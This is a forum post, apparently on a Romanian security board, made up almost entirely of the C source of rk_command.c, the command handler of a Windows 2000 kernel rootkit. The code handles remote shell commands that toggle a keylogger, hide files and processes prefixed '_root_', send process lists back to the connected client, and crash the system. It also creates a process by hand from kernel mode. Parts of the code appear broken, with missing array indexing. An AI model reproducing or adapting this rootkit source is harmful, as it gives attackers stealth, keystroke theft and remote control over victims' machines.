Nytro Posted August 30, 2014 Report Posted August 30, 2014 rk_command.c #include "rk_driver.h" #include "rk_command.h" #include "rk_defense.h" #include "rk_process.h" BOOL g_hide_directories = TRUE; BOOL g_hide_proc = TRUE; BOOL g_sniff_keys = FALSE; struct _csrmsg { PORT_MESSAGE PortMessage; struct CSRSS_MESSAGE CsrssMessage; PROCESS_INFORMATION ProcessInformation; CLIENT_ID Debugger; ULONG CreationFlags; ULONG VdmInfo[2]; } csrmsg; //////////////////////////////////////////////////////////////////// // these functions are dynamically linked out of NTDLL since // they are not exported. //////////////////////////////////////////////////////////////////// typedef NTSTATUS (*CsrClientCallServer) ( IN PVOID Message, IN PVOID, IN ULONG OpCode, IN ULONG Size ); typedef NTSTATUS (*ZwWriteVirtualMemory) ( IN HANDLE hProcess, IN PVOID BaseAddress, IN PVOID Buffer, IN ULONG BytesToWrite, OUT PULONG BytesWritten ); //typedef NTSTATUS (*GetEnvironmentStringsW) ( // ... //); typedef NTSTATUS (*RtlDestroyProcessParameters) ( IN PPROCESS_PARAMETERS ProcessParameters ); typedef NTSTATUS (*RtlCreateProcessParameters) ( OUT PPROCESS_PARAMETERS *ProcessParameters, IN PUNICODE_STRING ImageFile, IN PUNICODE_STRING DllPath OPTIONAL, IN PUNICODE_STRING CurrentDirectory OPTIONAL, IN PUNICODE_STRING CommandLine OPTIONAL, IN ULONG CreationFlags, IN PUNICODE_STRING WindowTitle OPTIONAL, IN PUNICODE_STRING Desktop OPTIONAL, IN PUNICODE_STRING Reserved OPTIONAL, IN PUNICODE_STRING Reserved2 OPTIONAL ); typedef NTSTATUS (*ZwResumeThread) ( IN HANDLE hThread, OUT PULONG pSuspendCount ); typedef NTSTATUS (*ZwProtectVirtualMemory) ( IN HANDLE hProcess, IN OUT PVOID *BaseAddress, IN OUT PULONG RegionSize, IN ULONG Protect, OUT PULONG OldProtect ); typedef NTSTATUS (*ZwCreateProcess) ( OUT PHANDLE phProcess, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE hParentProcess, IN BOOLEAN bInheritParentHandles, IN HANDLE hSection OPTIONAL, IN HANDLE hDebugPort OPTIONAL, IN HANDLE hExceptionPort OPTIONAL ); typedef NTSTATUS (*ZwOpenFile) ( OUT PHANDLE phFile, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK pIoStatusBlock, IN ULONG ShareMode, IN ULONG OpenMode ); //////////////////////////////////////////////////////////////////// // commands passed from the kernel shell are handled here // //////////////////////////////////////////////////////////////////// void process_rootkit_command(char *theCommand) { char _c[256]; BOOL return_prompt = TRUE; sprintf(_c, "rootkit: process_rootkit_command %s, len %d", theCommand, strlen(theCommand)); DbgPrint(_c); if(0 == strlen(theCommand)) { //the user pressed return, which is meant to break out //of sniffer-modes - so make sure all sniffers are off if(g_sniff_keys) { char _t[] = "------------------------------------------\r\nsniffkeys is now OFF.\r\n"; g_sniff_keys = FALSE; ReturnDataToClient(_t, strlen(_t)); } } //////////////////////////////////////////////////////////////// // Command: 'help' // return a help string //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "help")) { char _help[] = "Win2K Rootkit by the team rootkit.com\r\n" \ "Version 0.4 alpha\r\n" \ "------------------------------------------\r\n" \ "command description \r\n" \ "\r\n" \ "ps show proclist \r\n" \ "help this data \r\n" \ "buffertest debug output \r\n" \ "hidedir hide prefixed file/dir\r\n" \ "hideproc hide prefixed processes\r\n" \ "debugint (BSOD)fire int3 \r\n" \ "sniffkeys toggle keyboard sniffer\r\n" \ "echo <string> echo the given string\r\n" \ "\r\n*(BSOD) means Blue Screen of Death\r\n" \ "if a kernel debugger is not present!\r\n" \ "*'prefixed' means the process or filename\r\n" \ "starts with the letters '_root_'.\r\n" \ "\r\n"; ReturnDataToClient(_help, strlen(_help)); } //////////////////////////////////////////////////////////////// // Command: 'echo' 'string' // echo back the string, useful for rootkit patches that need // to send data to a connected client //////////////////////////////////////////////////////////////// else if(0 == memcmp(theCommand, "echo ", 5)) { int l = strlen(&theCommand[5]); if(l) { return_prompt=FALSE; ReturnDataToClient(&theCommand[5], l); } } //////////////////////////////////////////////////////////////// // Command: 'ps' // returns the process list running on the host //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "ps")) { command_get_proclist(); } //////////////////////////////////////////////////////////////// // Command: 'buffertest' // debug function causes a large number of packets to return // used to debug the TCP/IP stack functionality //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "buffertest")) { int count=0; for(count=0;count<100;count++) { int x; sprintf(_c, ".%d.", count); x = strlen(_c); ReturnDataToClient(_c, x); } } //////////////////////////////////////////////////////////////// // Command: 'sniffkeys' // toggles keyboard sniffer //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "sniffkeys")) { if(g_sniff_keys) { char _t[] = "keyboard sniffing now OFF\r\n"; g_sniff_keys = FALSE; ReturnDataToClient( _t, strlen(_t)); } else { char _t[] = "keyboard sniffing now ON\r\n------------------------------------------\r\n"; return_prompt=FALSE; g_sniff_keys = TRUE; ReturnDataToClient( _t, strlen(_t)); } } //////////////////////////////////////////////////////////////// // Command: 'hidedir' // toggles directory hiding with '_root_' prefix //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "hidedir")) { if(g_hide_directories) { char _t[] = "directory prefix-hiding now OFF\r\n"; g_hide_directories = FALSE; ReturnDataToClient( _t, strlen(_t)); } else { char _t[] = "directory prefix-hiding now ON\r\n"; g_hide_directories = TRUE; ReturnDataToClient( _t, strlen(_t)); } } //////////////////////////////////////////////////////////////// // Command: 'hideproc' // toggles process hiding with '_root_' prefix //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "hideproc")) { if(g_hide_proc) { char _t[] = "process prefix-hiding now OFF\r\n"; g_hide_proc = FALSE; ReturnDataToClient( _t, strlen(_t)); } else { char _t[] = "process prefix-hiding now ON\r\n"; g_hide_proc = TRUE; ReturnDataToClient( _t, strlen(_t)); } } //////////////////////////////////////////////////////////////// // Command: 'debugint' // debug function causes a debug interrupt to fire // this will BSOD the machine unless a kernel debugger is // present. //////////////////////////////////////////////////////////////// else if(0 == strcmp(theCommand, "debugint")) { __asm int 3 } else { char t[256]; sprintf(t, "error: unknown or malformed command %s\r\n", theCommand); ReturnDataToClient( t, strlen(t)); } if(return_prompt) //this is our prompt, an upside-down question-mark ¿ ReturnDataToClient("\xA8", 1); } /////////////////////////////////////////////////////////////////// // commands requested from kernel shell, many of these return // data to the connected client. /////////////////////////////////////////////////////////////////// // --[ command_get_proclist ]--------------------------- // utility routine, dump process list // should only be called at IRQL_PASSIVE // this will send a process list back to the connected // client over the TCP/IP session // ----------------------------------------------------- void command_get_proclist() { unsigned long n = 0x100; struct _SYSTEM_PROCESSES *p = (struct _SYSTEM_PROCESSES *)ExAllocatePool(NonPagedPool, n); if(p) { struct _SYSTEM_PROCESSES *curr = NULL; // ------------------------------------------------------------------ // spin until our buffer is large enough to hold the results. // Information Class 5 is 'ProcessAndThreadsInformation' // ------------------------------------------------------------------ while(ZwQuerySystemInformation( 5, p, n, 0) == STATUS_INFO_LENGTH_MISMATCH) { ExFreePool(p); n *= 2; p = (struct _SYSTEM_PROCESSES *)ExAllocatePool(NonPagedPool, n); if(NULL == p) { break; } } if(p) { curr = p; // ------------------------------------------------------------------------- // forward through all entries in an array of process structures // some processes will not have names. (System Idle, for example) // ------------------------------------------------------------------------- while(curr) { ANSI_STRING process_name; RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE); if( (0 < process_name.Length) && (200 > process_name.Length) ) { char _output[255]; char _pname[255]; int tslen = 0; memset(_pname, NULL, 255); memcpy(_pname, process_name.Buffer, process_name.Length); sprintf( _output, "%d\t%s\r\n", curr->ProcessId, _pname); tslen = strlen(_output); ReturnDataToClient(_output, tslen); } RtlFreeAnsiString(&process_name); if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); else curr = NULL; } ExFreePool(p); } } } #if 1 /* _________________________________________________ . This function is intended to launch a WIN32 . process. So far, the process creation works. . We are actually building a real process - the . stumper right now is how to create the inital . thread - we can create the process, but it doesn't . >DO< anything until we start an initial thread! . So far we haven't figured out how to initialize . the thread context & stack for NtCreateThread(). . . Update Feb 3, trying to get this working again... . _________________________________________________ */ PVOID FindNT() { ULONG n; PULONG q; PSYSTEM_MODULE_INFORMATION p; PVOID ntdll = NULL; ULONG i; ZwQuerySystemInformation( 11, &n, 0, &n); //SystemModuleInformation q = (PULONG)ExAllocatePool(PagedPool, n); ZwQuerySystemInformation( 11, q, n * sizeof *q, 0); p = (PSYSTEM_MODULE_INFORMATION)(q+1); for(i=0; i < *q; i++) { if(0 == memcmp( p.ImageName + p.ModuleNameOffset, "ntdll.dll", 9)) { // we have a winner ntdll = p.Base; } } ExFreePool(p); return ntdll; } PVOID FindFunction(PVOID Base, PCSTR Name) { ULONG size; ULONG addr; ULONG i; PULONG functions; PULONG ordinals; PULONG names; PVOID func; PIMAGE_EXPORT_DIRECTORY exports; PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)(Base); PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PCHAR)Base + dos->e_lfanew); PIMAGE_DATA_DIRECTORY expdir = nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; size = expdir->Size; addr = expdir->VirtualAddress; exports = (PIMAGE_EXPORT_DIRECTORY)((PCHAR)Base + addr); functions = (PULONG)( (PCHAR)Base + exports->AddressOfFunctions); ordinals = (PULONG)( (PCHAR)Base + exports->AddressOfNameOrdinals); names = (PULONG)( (PCHAR)Base + exports->AddressOfNames); func = 0; for(i=0;i<exports->NumberOfNames;i++) { ULONG ord = ordinals; if(functions[ord] < addr || functions[ord] >= addr + size) { if(strcmp((PSTR)((PCHAR)Base + names), Name) == 0) func = (PCHAR)Base + functions[ord]; } } return func; } void InformCsrss( HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid) { memset(&csrmsg, NULL, sizeof(struct _csrmsg)); csrmsg.ProcessInformation.hProcess = hProcess; csrmsg.ProcessInformation.hThread = hThread; csrmsg.ProcessInformation.pid = pid; csrmsg.ProcessInformation.tid = tid; CsrClientCallServer( &csrmsg, 0, 0x10000, 0x24 ); } PWSTR CopyEnvironment(HANDLE hProcess) { PWSTR env = GetEnvironmentStringsW(); ULONG m; ULONG n; PVOID p = 0; for(n = 0; env[n] != 0; n += wcslen(env + n) + 1) ; n *= sizeof *env; m = n; ZwAllocateVirtualMemory(hProcess, &p, 0, &m, MEM_COMMIT, PAGE_READWRITE ); ZwWriteVirtualMemory( hProcess, p, env, n, 0); return (PWSTR)p; } VOID CreateProcessParameters( HANDLE hProcess, PPEB Peb, PUNICODE_STRING ImageFile ) { PPROCESS_PARAMETERS pp; PVOID p = 0; ULONG n; RtlCreateProcessParameters( &pp, ImageFile, 0, 0, 0, 0, 0, 0, 0, 0); pp->Environment = CopyEnvironment(hProcess); n = pp->Size; ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_READWRITE ); ZwWriteVirtualMemory( hProcess, p, pp, pp->Size, 0); ZwWriteVirtualMemory( hProcess, (PCHAR)(Peb) + 0x10, &p, sizeof p, 0); RtlDestroyProcessParameters(pp); } int exec(PUNICODE_STRING name) { HANDLE hProcess, hThread, hSection, hFile; OBJECT_ATTRIBUTES oa; IO_STATUS_BLOCK iosb; PROCESS_BASIC_INFORMATION pbi; SECTION_IMAGE_INFORMATION sii; USER_STACK stack = {0}; CONTEXT context = {CONTEXT_FULL}; CLIENT_ID cid; ULONG n; PVOID p; ULONG x; oa.Length = sizeof oa; oa.RootDirectory = 0; oa.ObjectName = name; oa.Attributes = OBJ_CASE_INSENSITIVE; ZwOpenFile( &hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SYNCHRONOUS_IO_NONALERT ); oa.ObjectName = 0; ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0, PAGE_EXECUTE, 0x01000000, //SEC_IMAGE hFile); ZwClose(hFile); ZwCreateProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, NtCurrentProcess(), TRUE, hSection, 0, 0); ZwQuerySection( hSection, SectionImageInformation, &sii, sizeof sii, 0); ZwClose(hSection); n = sii.StackReserve; ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n, MEM_RESERVE, PAGE_READWRITE); stack.ExpandableStackBase = (PCHAR)(stack.ExpandableStackBottom) + sii.StackReserve; stack.ExpandableStackLimit = (PCHAR)(stack.ExpandableStackBase) - sii.StackCommit; n = sii.StackCommit + PAGE_SIZE; p = (PCHAR)(stack.ExpandableStackBase) - n; ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_READWRITE); n = PAGE_SIZE; ZwProtectVirtualMemory( hProcess, &p, &n, PAGE_READWRITE | PAGE_GUARD, &x ); context.SegGs = 0; context.SegFs = 0x38; context.SegEs = 0x20; context.SegDs = 0x20; context.SegSs = 0x20; context.SegCs = 0x18; context.EFlags = 0x3000; context.Esp = (ULONG)(stack.ExpandableStackBase) - 4; context.Eip = (ULONG)(sii.EntryPoint); ZwCreateThread( &hThread, THREAD_ALL_ACCESS, &oa, hProcess, &cid, &context, &stack, TRUE); ZwQueryInformationProcess( hProcess, ProcessBasicInformation, &pbi, sizeof pbi, 0); CreateProcessParameters( hProcess, pbi.PebBaseAddress, name); InformCsrss(hProcess, hThread, (ULONG)(cid.UniqueProcess), (ULONG)(cid.UniqueThread)); ZwResumeThread(hThread, 0); ZwClose(hProcess); ZwClose(hThread); return (int)(cid.UniqueProcess); } void TestLaunchWin32Process() { UNICODE_STRING FileName; RtlInitUnicodeString(&FileName, L"\\??\\C:\\winnt\\system32\\calc.exe"); exec(&FileName); } #endifE o bucata dintr-un rootkit. Am postat pentru ca la final sunt niste lucruri interesante: crearea manuala a unui proces. Sursa: Quote